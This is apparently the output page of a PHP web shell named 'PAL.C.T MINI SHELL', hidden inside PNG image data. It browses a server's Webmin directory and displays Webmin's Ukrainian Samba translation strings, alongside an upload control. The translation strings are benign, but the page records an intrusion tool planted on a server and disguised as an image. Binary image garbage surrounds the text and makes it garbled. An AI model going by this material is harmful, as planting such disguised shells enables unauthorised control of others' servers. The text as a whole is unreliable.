php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/uk.auto

index_samba=Самба

index_start_wb=Запустіть сервери Winbind
index_startmsg_wb=Схоже, сервери Winbind не працюють у вашій системі.
index_restart_wb=Перезавантажте сервери Winbind
index_restartmsg_wb=Натисніть цю кнопку, щоб перезапустити запущені сервери Winbind у вашій системі.
index_stop=Зупиніть сервери Samba
index_stop_wb=Зупиніть сервери Winbind
index_stopmsg=Натисніть цю кнопку, щоб вимкнути працюючі сервери Samba у вашій системі. Усі зареєстровані в даний час користувачі будуть примусово відключені.
index_stopmsg_wb=Натисніть цю кнопку, щоб вимкнути працюючі сервери Winbind у вашій системі.
index_einclude=Попередження - Ваш конфігураційний файл Samba $1 містить директиву $2 або $3. Це може призвести до того, що Webmin неправильно змінить файл.
index_delete=Видалити вибрані акції

global_users=Користувачі Samba
global_group=Групи Самба
global_bind=Параметри Winbind

convert_ncdesc=Список користувачів, які не перетворюються, може містити імена користувачів, UID, імена груп з префіксом <tt>@</tt> або діапазони UID, наприклад <i>500-1000</i> або <i>500 -</i> >.
convert_cannot=Користувачі Unix не можуть бути перетворені на користувачів Samba
convert_who=Користувачі Unix для перетворення
convert_who0=Лише перелічені користувачі або діапазони UID
convert_who1=Усі, крім перерахованих користувачів та діапазонів UID

net_ip=IP-адреса

passwd_sync=Змінити пароль Unix також?

smb_descriptionnone=Жоден
smb_master_auto=Автоматичний
smb_server=Сервер паролів
smb_ads=Активна Директорія

smbuser_cannot=Користувачі Samba не можуть бути перелічені

euser_noexpire=Пароль ніколи не закінчується
euser_locked=Обліковий запис заблоковано

share_create=Автоматично створювати каталог?
share_owner=Створіть із власником
share_createperms=Створіть з дозволами
share_group=Створіть із групою

esync_del_profile=Видалення профілю роумінгу при видаленні користувача Unix
esync_chg_profile=Перейменуйте профіль роумінгу, коли користувач Unix буде перейменований
esync_gid=Групуйте SID або RID для нових користувачів
esync_cannot=Неможливо налаштувати синхронізацію користувача
esync_egid=Відсутня група SID або RID

mkpass_added=Додано
mkpass_user=Ім'я користувача
mkpass_action=Дії прийняті
mkpass_skipcount=$1 користувачів були пропущені для конверсії.

saveuser_ews=Параметр "Довірчий обліковий запис робочої станції" не може бути включений для існуючих користувачів

savefshare_owner=Відсутній або недійсний власник для нового каталогу
savefshare_group=Відсутня або недійсна група для нового каталогу
savefshare_perms=Відсутні або недійсні дозволи для нового каталогу
savefshare_emkdir=Не вдалося створити каталог : $1 

start_err_wb=Не вдалося запустити сервери Winbind

restart_err=Не вдалося перезапустити сервери Samba
restart_err_wb=Не вдалося перезапустити сервери Winbind

viewu_ecmd=Програма статусу Samba $1, схоже, не встановлена у вашій системі. Можливо, <a href='$2'>конфігурація модуля</a> неправильна.
viewu_kill=Відключіть вибраних користувачів
viewu_enone=Не вибрано користувачів
viewu_refresh=Оновити сторінку.

log_apply_wb=Перезапущені сервери Winbind
log_stop=Зупинено на серверах Samba
log_stop_wb=Зупинилися сервери Winbind
log_start_wb=Запущені сервери Winbind
log_kills=Відключені $1 процеси
log_skills=Відключено $1 процеси від частки $2 
log_delete_shares=Видалено $1 спільного доступу
log_bind=Змініть параметри Winbind
log_create_group=Створено групу Samba $1 
log_modify_group=Модифікована група Samba $1 
log_delete_group=Видалено групу Samba $1 
log_gsync=Налаштована синхронізація групи Unix
log_manual=Конфігураційний файл вручну відредагований $1 

acl_manual=Чи можете вручну редагувати конфігураційний файл?
acl_group_opts=Варіанти групи Samba
acl_maint_groups=Чи можете переглядати, редагувати та додавати групи?
acl_maint_gsync=Чи може підтримувати синхронізацію груп Auto Unix з Samba?
acl_winbind=Може прив’язати до доменів?
acl_bind=Чи можете отримати доступ до параметрів winbind?

groups_title=Групи Самба
groups_name=Назва групи
groups_unix=Група Unix
groups_nounix=Жоден
groups_type=Тип
groups_type_d=Група доменів
groups_type_b=NT вбудований
groups_type_l=Місцева група
groups_type_u=Невідомо
groups_sid=SID
groups_none=Ще не визначено груп Samba.
groups_return=список груп
groups_add=Додайте нову групу Samba.
groups_ecannot=Вам заборонено переглядати та редагувати групи Samba
groups_cannot=Групи самби не можуть бути перелічені

gedit_title2=Редагувати групу Samba
gedit_title1=Створіть групу Samba
gedit_header=Деталі групи Samba
gedit_name=Назва групи
gedit_type=Тип групи
gedit_sid=Груповий SID
gedit_desc=Опис
gedit_priv=Привілеї
gedit_unix=Група Unix
gedit_unixgr=Група ..
gedit_none=Жоден
gedit_set=Перелічено ..

gsave_err=Не вдалося зберегти групу
gsave_eunix=Відсутнє або недійсне ім’я групи Unix або GID
gsave_ename=Відсутня назва групи
gsave_epriv=Відсутні групові привілеї
gsave_elocal=Пільги можна встановити лише для місцевих груп

gsync_title=Групова синхронізація
gsync_msg=Webmin можна налаштувати так, що зміни до списку груп Unix будуть автоматично застосовані до списку груп Samba. Це працюватиме лише тоді, коли модуль Webmin <b>Користувачі та Групи</b> використовується для додавання, видалення чи зміни груп.
gsync_add=Додайте групу Samba, коли додано групу Unix
gsync_chg=Змініть групу Samba при зміні групи Unix
gsync_del=Видаліть групу Samba, коли видалено групу Unix
gsync_apply=Застосувати
gsync_type=Тип нових груп
gsync_priv=Привілеї для нових груп (якщо вони локальні)
gsync_ecannot=Вам не дозволяється налаштувати групову синхронізацію
gsync_cannot=Групову синхронізацію неможливо налаштувати

check_user1=$1 : Зашифровані паролі не ввімкнено на сторінці <a href='$2'>Автентифікація</a>.
check_user2=$1 : Ні файл пароля Samba, ні шлях до pdbedit не встановлені на сторінці <a href='$2'>Конфігурація модуля</a>.
check_group1=$1 : Групи підтримуються лише у версії Samba 3.
check_group2=$1 : На сторінці <a href='$2'>Конфігурація модуля</a> не встановлено шлях до команд smbgroupedit або net.

winbind_title=Прив’язати до домену
winbind_ecannot=Вам не дозволяється прив'язуватися до доменів
winbind_msg=Ця форма може використовуватися для прив'язки вашого сервера Samba до домену Windows, як правило, керується іншим сервером.
winbind_header=Прив’язати до домену Windows
winbind_user=Прив’язати як користувача
winbind_dom=Прив’язати до домену
winbind_save=Прив’яжи зараз
winbind_default=Домен із конфігурації Samba
winbind_pass=Пароль користувача
winbind_err=Не вдалося прив’язати до домену
winbind_euser=Відсутнє ім’я користувача
winbind_edom=Відсутнє доменне ім’я
winbind_cmd=Прив’язка до домену з командою $1.
winbind_failed=.. не вдалося! Дивіться вихід вище для причини.
winbind_ok=.. завершено.

bind_title=Параметри Winbind
bind_ecannot=Вам заборонено редагувати параметри winbind
bind_header=Параметри прив'язки домену Windows
bind_local=Увімкнути Winbind для локальних облікових записів?
bind_trust=Довіряти користувачам сервера домену?
bind_users=Заборонити список користувачів?
bind_groups=Заборонити перелік груп?
bind_defaultdomain=Завжди використовувати домен за замовчуванням?
bind_realm=Область Kerberos на доменному сервері
bind_cache=Секунди для кешування даних користувача для
bind_uid=Діапазон UID для користувачів Windows
bind_gid=Діапазон GID для груп Windows
bind_backend=LDAP бекенд для відображення облікового запису
bind_err=Не вдалося зберегти параметри Winbind
bind_erealm=Недійсне царство Керберос
bind_ecache=Відсутній або недійсний час кешу
bind_euid=Недійсний діапазон UID - повинен бути приблизно 20000-30000
bind_egid=Недійсний діапазон GID - повинен бути приблизно 20000-30000

manual_title=Редагувати файл конфігурації
manual_desc=Редагування конфігураційного файлу Samba $1 ..
manual_err=Не вдалося зберегти конфігураційний файл
manual_edata=Нічого не ввійшло!

delete_err=Не вдалося видалити спільні публікації
delete_enone=Не вибрано жодного
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`